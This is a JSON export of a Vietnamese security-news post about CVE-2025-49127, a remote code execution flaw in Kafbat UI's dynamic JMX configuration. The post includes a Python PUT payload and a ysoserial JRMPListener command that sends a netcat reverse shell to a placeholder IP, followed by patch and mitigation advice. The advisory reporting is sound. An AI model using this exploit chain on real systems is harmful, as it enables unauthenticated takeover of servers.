{"id":10491,"date":"2025-07-16T12:37:22","date_gmt":"2025-07-16T05:37:22","guid":{"rendered":"https:\/\/infosec.new88088.net\/?p=10491"},"modified":"2026-02-05T12:37:28","modified_gmt":"2026-02-05T05:37:28","slug":"lo-hong-cve-2025-49127-trong-kafbat-ui-cho-phep-thuc-thi-ma-tu-xa-qua-jmx","status":"publish","type":"post","link":"https:\/\/infosec.new88088.net\/2025\/07\/16\/lo-hong-cve-2025-49127-trong-kafbat-ui-cho-phep-thuc-thi-ma-tu-xa-qua-jmx\/","title":{"rendered":"L\u1ed7 h\u1ed5ng CVE-2025-49127 trong Kafbat UI cho ph\u00e9p th\u1ef1c thi m\u00e3 t\u1eeb xa qua JMX"},"content":{"rendered":"<p><b>M\u1ed9t l\u1ed7 h\u1ed5ng th\u1ef1c thi m\u00e3 t\u1eeb xa (RCE) nghi\u00eam tr\u1ecdng v\u1eeba \u0111\u01b0\u1ee3c ph\u00e1t hi\u1ec7n trong Kafbat UI, giao di\u1ec7n qu\u1ea3n l\u00fd m\u00e3 ngu\u1ed3n m\u1edf d\u00e0nh cho Apache Kafka. L\u1ed7 h\u1ed5ng n\u00e0y \u0111\u01b0\u1ee3c g\u00e1n m\u00e3 CVE-2025-49127 v\u00e0 \u0111\u01b0\u1ee3c \u0111\u00e1nh gi\u00e1 \u0111i\u1ec3m CVSS 10.0.<\/b><\/p>\n<div style=\"text-align: center\">\n<div class=\"bbImageWrapper  js-lbImage\" title=\"kafbat.png\" data-src=\"https:\/\/whitehat.vn\/attachments\/kafbat-png.17320\/\" data-lb-sidebar-href=\"\" data-lb-caption-extra-html=\"\" data-single-image=\"1\"><img fetchpriority=\"high\" decoding=\"async\" class=\"bbImage\" title=\"kafbat.png\" src=\"https:\/\/whitehat.vn\/attachments\/kafbat-png.17320\/\" alt=\"kafbat.png\" width=\"700\" height=\"390\" data-url=\"\" data-zoom-target=\"1\" \/><\/div>\n<\/div>\n<h3>K\u1ebd h\u1edf t\u1eeb JMX trong c\u1ea5u h\u00ecnh \u0111\u1ed9ng\u200b<\/h3>\n<p>Phi\u00ean b\u1ea3n Kafbat UI 1.0.0 cho ph\u00e9p ng\u01b0\u1eddi d\u00f9ng c\u1ea5u h\u00ecnh c\u1ee5m Kafka m\u1ed9t c\u00e1ch \u201c\u0111\u1ed9ng\u201d b\u1eb1ng c\u00e1ch nh\u1eadp v\u00e0o c\u00e1c th\u00f4ng tin host v\u00e0 c\u1ed5ng k\u1ebft n\u1ed1i JMX. Tuy nhi\u00ean, thay v\u00ec ki\u1ec3m tra v\u00e0 gi\u1edbi h\u1ea1n \u0111\u1ea7u v\u00e0o, \u1ee9ng d\u1ee5ng n\u00e0y l\u1ea1i x\u00e2y d\u1ef1ng \u0111\u1ecba ch\u1ec9 JMX m\u1ed9t c\u00e1ch m\u00f9 qu\u00e1ng t\u1eeb d\u1eef li\u1ec7u do ng\u01b0\u1eddi d\u00f9ng cung c\u1ea5p:<\/p>\n<div class=\"bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code\">\n<div class=\"bbCodeBlock-title\">M\u00e3:<\/div>\n<div class=\"bbCodeBlock-content\" dir=\"ltr\">\n<pre class=\"bbCodeCode\" dir=\"ltr\" data-xf-init=\"code-block\" data-lang=\"\"><code>String jmxUrl = \"service:jmx:rmi:\/\/\/jndi\/rmi:\/\/\"\r\n        + node.host() + \":\" + c.getMetricsConfig().getPort()\r\n        + \"\/jmxrmi\";\r\nconnector.connect(env);<\/code><\/pre>\n<\/div>\n<\/div>\n<p>Do t\u00ednh n\u0103ng x\u00e1c th\u1ef1c b\u1ecb v\u00f4 hi\u1ec7u h\u00f3a m\u1eb7c \u0111\u1ecbnh (auth.type: DISABLED), b\u1ea5t k\u1ef3 ai c\u0169ng c\u00f3 th\u1ec3 g\u1eedi m\u1ed9t y\u00eau c\u1ea7u PUT \u0111\u1ebfn endpoint \/api\/config \u0111\u1ec3 khai b\u00e1o c\u1ee5m Kafka m\u1edbi v\u1edbi ki\u1ec3u metric l\u00e0 JMX v\u00e0 ch\u1ec9 \u0111\u1ecbnh m\u1ed9t c\u1ed5ng b\u1ea5t k\u1ef3.<\/p>\n<p>Trong v\u00f2ng 30 gi\u00e2y sau \u0111\u00f3, tr\u00ecnh thu th\u1eadp metric s\u1ebd g\u1ecdi t\u1edbi connector.connect(), kh\u1edfi \u0111\u1ed9ng b\u1eaft tay RMI v\u1edbi m\u00e1y ch\u1ee7 \u0111\u1ed9c h\u1ea1i v\u00e0 t\u1ea3i v\u1ec1 chu\u1ed7i payload \u0111\u01b0\u1ee3c t\u1ea1o b\u1eb1ng th\u01b0 vi\u1ec7n ysoserial (s\u1eed d\u1ee5ng gadget CommonsCollections7), t\u1eeb \u0111\u00f3 th\u1ef1c thi l\u1ec7nh t\u00f9y \u00fd tr\u00ean h\u1ec7 th\u1ed1ng b\u1eb1ng Runtime.exec().<\/p>\n<h3><b>Khai th\u00e1c l\u1ed7 h\u1ed5ng: PUT request m\u1edf \u0111\u01b0\u1eddng cho reverse shell<\/b>\u200b<\/h3>\n<p>C\u00e1c nh\u00e0 nghi\u00ean c\u1ee9u b\u1ea3o m\u1eadt \u0111\u00e3 c\u00f4ng b\u1ed1 m\u1ed9t k\u1ef9 thu\u1eadt khai th\u00e1c hai giai \u0111o\u1ea1n: b\u01b0\u1edbc \u0111\u1ea7u g\u1eedi c\u1ea5u h\u00ecnh c\u1ee5m ch\u1ee9a payload JMX \u0111\u1ed9c h\u1ea1i, ti\u1ebfp theo thi\u1ebft l\u1eadp listener \u0111\u1ec3 ch\u1edd reverse shell, t\u1eeb \u0111\u00f3 gi\u00e0nh quy\u1ec1n \u0111i\u1ec1u khi\u1ec3n h\u1ec7 th\u1ed1ng t\u1eeb xa.<\/p>\n<p>\u0110o\u1ea1n m\u00e3 Python g\u1eedi c\u1ea5u h\u00ecnh \u0111\u1ed9c h\u1ea1i nh\u01b0 sau:<\/p>\n<div class=\"bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code\">\n<div class=\"bbCodeBlock-title\">M\u00e3:<\/div>\n<div class=\"bbCodeBlock-content\" dir=\"ltr\">\n<pre class=\"bbCodeCode\" dir=\"ltr\" data-xf-init=\"code-block\" data-lang=\"\"><code>payload = {\r\n  \"config\": {\r\n    \"properties\": {\r\n      \"kafka\": {\r\n        \"clusters\": [{\r\n          \"name\": \"rce\",\r\n          \"bootstrapServers\": \"kafka-malicious-broker:9093\",\r\n          \"metrics\": {\"type\": \"JMX\", \"port\": 1719}\r\n        }]\r\n      }\r\n    }\r\n  }\r\n}\r\nrequests.put(\"http:\/\/target80\/api\/config\", json=payload, timeout=30)<\/code><\/pre>\n<\/div>\n<\/div>\n<p>K\u1ebf ti\u1ebfp, m\u00e1y ch\u1ee7 \u0111\u1ed9c h\u1ea1i m\u1edf listener JRMP b\u1eb1ng ysoserial:<\/p>\n<div class=\"bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code\">\n<div class=\"bbCodeBlock-title\">M\u00e3:<\/div>\n<div class=\"bbCodeBlock-content\" dir=\"ltr\">\n<pre class=\"bbCodeCode\" dir=\"ltr\" data-xf-init=\"code-block\" data-lang=\"\"><code>java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 \\\r\n     \"nc 192.0.2.10 9094 -e \/bin\/sh\"<\/code><\/pre>\n<\/div>\n<\/div>\n<p>Ch\u1ec9 v\u00e0i gi\u00e2y sau, reverse shell s\u1ebd \u0111\u01b0\u1ee3c g\u1eedi v\u1ec1 c\u1ed5ng 9094, cho ph\u00e9p k\u1ebb t\u1ea5n c\u00f4ng \u0111i\u1ec1u khi\u1ec3n m\u00e1y ch\u1ee7 t\u1eeb xa m\u00e0 kh\u00f4ng c\u1ea7n th\u00f4ng tin \u0111\u0103ng nh\u1eadp. Qu\u00e1 tr\u00ecnh n\u00e0y ho\u1ea1t \u0111\u1ed9ng \u1ed5n \u0111\u1ecbnh tr\u00ean b\u1ea3n tri\u1ec3n khai Docker m\u1eb7c \u0111\u1ecbnh.<\/p>\n<h3>B\u1ea3n v\u00e1 v\u00e0 bi\u1ec7n ph\u00e1p ph\u00f2ng ng\u1eeba kh\u1ea9n c\u1ea5p\u200b<\/h3>\n<p>\u0110\u1ed9i ng\u0169 ph\u00e1t tri\u1ec3n Kafbat \u0111\u00e3 nhanh ch\u00f3ng ph\u00e1t h\u00e0nh b\u1ea3n v\u00e1 1.1.0 v\u1edbi ba thay \u0111\u1ed5i quan tr\u1ecdng:<\/p>\n<ul>\n<li data-xf-list-type=\"ul\">T\u1eeb ch\u1ed1i c\u00e1c k\u1ebft n\u1ed1i JMX kh\u00f4ng \u0111\u00e1ng tin v\u00e0 \u00e1p d\u1ee5ng danh s\u00e1ch cho ph\u00e9p (whitelist)<\/li>\n<li data-xf-list-type=\"ul\">B\u1eaft bu\u1ed9c x\u00e1c th\u1ef1c cho endpoint \/api\/config<\/li>\n<li data-xf-list-type=\"ul\">Th\u00eam b\u1ed9 l\u1ecdc tu\u1ea7n t\u1ef1 h\u00f3a (jdk.serialFilter) \u0111\u1ec3 ch\u1eb7n payload ch\u1ee9a gadget<\/li>\n<\/ul>\n<p>C\u00e1c qu\u1ea3n tr\u1ecb vi\u00ean n\u00ean th\u1ef1c hi\u1ec7n ngay c\u00e1c b\u01b0\u1edbc sau:<\/p>\n<ul>\n<li data-xf-list-type=\"ul\">C\u1eadp nh\u1eadt l\u00ean b\u1ea3n m\u1edbi: docker pull ghcr.io\/kafbat\/kafka-ui:v1.1.0 v\u00e0 tri\u1ec3n khai l\u1ea1i h\u1ec7 th\u1ed1ng<\/li>\n<li data-xf-list-type=\"ul\">T\u1eaft c\u1ea5u h\u00ecnh \u0111\u1ed9ng trong m\u00f4i tr\u01b0\u1eddng s\u1ea3n xu\u1ea5t b\u1eb1ng bi\u1ebfn m\u00f4i tr\u01b0\u1eddng DYNAMIC_CONFIG_ENABLED: &#8220;false&#8221;<\/li>\n<li data-xf-list-type=\"ul\">Ch\u1eb7n l\u01b0u l\u01b0\u1ee3ng RMI (port 1099\/tcp) v\u00e0 c\u00e1c c\u1ed5ng JMX kh\u00f4ng c\u1ea7n thi\u1ebft t\u1ea1i t\u01b0\u1eddng l\u1eeda<\/li>\n<li data-xf-list-type=\"ul\">Theo d\u00f5i nh\u1eadt k\u00fd h\u1ec7 th\u1ed1ng \u0111\u1ec3 ph\u00e1t hi\u1ec7n c\u00e1c chu\u1ed7i service:jmx:rmi b\u1ea5t th\u01b0\u1eddng. Sau khi \u00e1p d\u1ee5ng b\u1ea3n v\u00e1, nh\u1eefng n\u1ed7 l\u1ef1c khai th\u00e1c s\u1ebd \u0111\u1ec3 l\u1ea1i l\u1ed7i IllegalArgumentException: filter status: REJECTED<\/li>\n<\/ul>\n<h3>C\u1ea9n tr\u1ecdng tr\u01b0\u1edbc khi b\u1ecb bi\u1ebfn th\u00e0nh b\u00e0n \u0111\u1ea1p t\u1ea5n c\u00f4ng\u200b<\/h3>\n<p>L\u1ed7 h\u1ed5ng CVE 2025 49127 mang t\u00ednh ch\u1ea5t zero click, khi\u1ebfn n\u00f3 tr\u1edf th\u00e0nh m\u1ee5c ti\u00eau l\u00fd t\u01b0\u1edfng cho c\u00e1c chi\u1ebfn d\u1ecbch khai th\u00e1c t\u1ef1 \u0111\u1ed9ng. Ch\u1ec9 v\u1edbi m\u1ed9t y\u00eau c\u1ea7u c\u1ea5u h\u00ecnh \u0111\u01a1n gi\u1ea3n, k\u1ebb t\u1ea5n c\u00f4ng c\u00f3 th\u1ec3 chi\u1ebfm quy\u1ec1n \u0111i\u1ec1u khi\u1ec3n h\u1ec7 th\u1ed1ng gi\u00e1m s\u00e1t Kafka v\u00e0 c\u00e0i c\u1eafm m\u00e3 \u0111\u1ed9c. Trong nhi\u1ec1u tr\u01b0\u1eddng h\u1ee3p, m\u00e1y ch\u1ee7 b\u1ecb chi\u1ebfm d\u1ee5ng s\u1ebd \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng \u0111\u1ec3 ch\u1ea1y ph\u1ea7n m\u1ec1m \u0111\u00e0o ti\u1ec1n s\u1ed1 ho\u1eb7c l\u00e0m b\u00e0n \u0111\u1ea1p m\u1edf r\u1ed9ng t\u1ea5n c\u00f4ng sang c\u00e1c h\u1ec7 th\u1ed1ng n\u1ed9i b\u1ed9 kh\u00e1c.<\/p>\n<p>Theo nh\u1eadn \u0111\u1ecbnh c\u1ee7a chuy\u00ean gia WhiteHat, vi\u1ec7c khai th\u00e1c l\u1ed7 h\u1ed5ng n\u00e0y kh\u00f4ng \u0111\u00f2i h\u1ecfi k\u1ef9 thu\u1eadt cao. V\u1edbi m\u00e3 khai th\u00e1c \u0111\u00e3 \u0111\u01b0\u1ee3c c\u00f4ng b\u1ed1 c\u00f4ng khai, nhi\u1ec1u h\u1ec7 th\u1ed1ng c\u00f3 th\u1ec3 \u0111\u00e3 n\u1eb1m trong t\u1ea7m ng\u1eafm c\u1ee7a c\u00e1c bot t\u1ef1 \u0111\u1ed9ng. B\u1ea5t k\u1ef3 dashboard Kafka n\u00e0o ch\u01b0a \u0111\u01b0\u1ee3c c\u1eadp nh\u1eadt b\u1ea3n v\u00e1 ho\u1eb7c ch\u01b0a c\u1ea5u h\u00ecnh \u0111\u00fang c\u00e1ch \u0111\u1ec1u c\u00f3 nguy c\u01a1 b\u1ecb chi\u1ebfm quy\u1ec1n ch\u1ec9 sau v\u00e0i ph\u00fat khi l\u1ed9 di\u1ec7n tr\u00ean m\u1ea1ng.<\/p>\n<p>&#8220;\u0110\u00e2y l\u00e0 d\u1ea1ng l\u1ed7 h\u1ed5ng \u0111\u1eb7c bi\u1ec7t nguy hi\u1ec3m. M\u1ed9t khi k\u1ebb t\u1ea5n c\u00f4ng ki\u1ec3m so\u00e1t \u0111\u01b0\u1ee3c c\u00f4ng c\u1ee5 gi\u00e1m s\u00e1t Kafka, h\u1ecd c\u00f3 th\u1ec3 b\u00ed m\u1eadt quan s\u00e1t h\u1ec7 th\u1ed1ng, ch\u00e8n m\u00e3 \u0111\u1ed9c ho\u1eb7c th\u1eadm ch\u00ed m\u1edf r\u1ed9ng hi\u1ec7n di\u1ec7n s\u00e2u h\u01a1n v\u00e0o b\u00ean trong m\u1ea1ng doanh nghi\u1ec7p&#8221; \u2013 chuy\u00ean gia WhiteHat c\u1ea3nh b\u00e1o.<\/p>\n<p>\u0110\u1eebng \u0111\u1ec3 \u0111i\u1ec3m gi\u00e1m s\u00e1t Kafka t\u01b0\u1edfng ch\u1eebng v\u00f4 h\u1ea1i tr\u1edf th\u00e0nh c\u1eeda ng\u00f5 d\u1eabn t\u1edbi to\u00e0n b\u1ed9 h\u1ea1 t\u1ea7ng c\u1ee7a b\u1ea1n. H\u00e3y c\u1eadp nh\u1eadt ngay phi\u00ean b\u1ea3n v\u00e1, t\u1eaft t\u00ednh n\u0103ng c\u1ea5u h\u00ecnh \u0111\u1ed9ng n\u1ebfu kh\u00f4ng th\u1ef1c s\u1ef1 c\u1ea7n thi\u1ebft, ch\u1eb7n c\u00e1c k\u1ebft n\u1ed1i JMX v\u00e0 RMI kh\u00f4ng \u0111\u01b0\u1ee3c qu\u1ea3n l\u00fd, \u0111\u1ed3ng th\u1eddi theo d\u00f5i ch\u1eb7t ch\u1ebd log h\u1ec7 th\u1ed1ng \u0111\u1ec3 ph\u00e1t hi\u1ec7n d\u1ea5u hi\u1ec7u truy c\u1eadp b\u1ea5t th\u01b0\u1eddng. \u0110\u00e2y l\u00e0 nh\u1eefng b\u01b0\u1edbc t\u1ed1i thi\u1ec3u c\u1ea7n th\u1ef1c hi\u1ec7n ngay l\u00fac n\u00e0y \u0111\u1ec3 gi\u1eef h\u1ec7 th\u1ed1ng an to\u00e0n tr\u01b0\u1edbc m\u1ed9t trong nh\u1eefng l\u1ed7 h\u1ed5ng nguy hi\u1ec3m nh\u1ea5t hi\u1ec7n nay.<\/p>\n<div style=\"text-align: right\"><b><i>Theo Cyber Press<\/i><\/b>\u200b<\/div>\n<div style=\"text-align: right;margin-top: 16px\"><i>Theo: <a href=\"https:\/\/whitehat.vn\/threads\/lo-hong-cve-2025-49127-trong-kafbat-ui-cho-phep-thuc-thi-ma-tu-xa-qua-jmx.18568\/\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/whitehat.vn\/threads\/lo-hong-cve-2025-49127-trong-kafbat-ui-cho-phep-thuc-thi-ma-tu-xa-qua-jmx.18568\/<\/a><\/i><\/div>\n","protected":false},"excerpt":{"rendered":"<p>M\u1ed9t l\u1ed7 h\u1ed5ng th\u1ef1c thi m\u00e3 t\u1eeb xa (RCE) nghi\u00eam tr\u1ecdng v\u1eeba \u0111\u01b0\u1ee3c ph\u00e1t hi\u1ec7n trong Kafbat UI, giao di\u1ec7n qu\u1ea3n l\u00fd m\u00e3 ngu\u1ed3n m\u1edf d\u00e0nh cho Apache Kafka. L\u1ed7 h\u1ed5ng n\u00e0y \u0111\u01b0\u1ee3c g\u00e1n m\u00e3 CVE-2025-49127 v\u00e0 \u0111\u01b0\u1ee3c \u0111\u00e1nh gi\u00e1 \u0111i\u1ec3m CVSS 10.0. K\u1ebd h\u1edf t\u1eeb JMX trong c\u1ea5u h\u00ecnh \u0111\u1ed9ng\u200b Phi\u00ean b\u1ea3n Kafbat UI [&hellip;]<\/p>\n","protected":false},"author":46,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[33],"tags":[],"class_list":["post-10491","post","type-post","status-publish","format-standard","hentry","category-tin-tuc-cua-vien"],"_links":{"self":[{"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/posts\/10491","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/users\/46"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/comments?post=10491"}],"version-history":[{"count":0,"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/posts\/10491\/revisions"}],"wp:attachment":[{"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/media?parent=10491"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/categories?post=10491"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.new88088.net\/wp-json\/wp\/v2\/tags?post=10491"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}